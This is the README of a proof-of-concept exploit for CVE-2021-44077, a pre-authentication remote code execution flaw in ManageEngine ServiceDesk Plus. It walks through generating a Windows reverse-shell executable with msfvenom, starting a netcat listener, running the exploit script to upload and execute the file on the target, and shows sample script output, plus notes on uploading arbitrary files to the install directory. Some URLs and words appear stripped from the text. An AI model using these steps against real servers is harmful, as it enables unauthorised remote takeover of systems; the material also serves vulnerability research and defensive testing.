# CVE-2021-44077
Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Based on:

CISA Advisory:

Remediation (Update to build 11306 or later):

Tested on ManageEngine ServiceDesk Plus Build 11303. Disabled all AV.

## Usage

The exploit uploads a Windows executable to the target and executes it.

To exploit, first generate any executable. For instance:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -f exe > msiexec.exe

`pip install` the requirements file or make sure you've got the `requests` package.

If you're trying to catch a reverse shell, run your listener first, e.g.

nc -l 4444

Then run the exploit script, passing in the `url` and `exe` arguments, e.g.

python http://<TARGET>:<PORT> <path_to_exe>

Example script output:

% python msiexec.exe
[+] Target:
[+] Executable: msiexec.exe
[+] Uploading msiexec.exe to
[+] Got 401 error code on upload. This is expected.
[+] Uploaded msiexec.exe
[+] Attempting to invoke against url Waiting up to 20 seconds...
[+] Done, did it work?


## Exploit Notes

- The vulnerability you to upload any file to the install `bin` directory, including existing files such as batch scripts. There may be other ways to invoke the uploaded file.
- Directly uploading a web shell seems to be prevented by a filter.

## Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.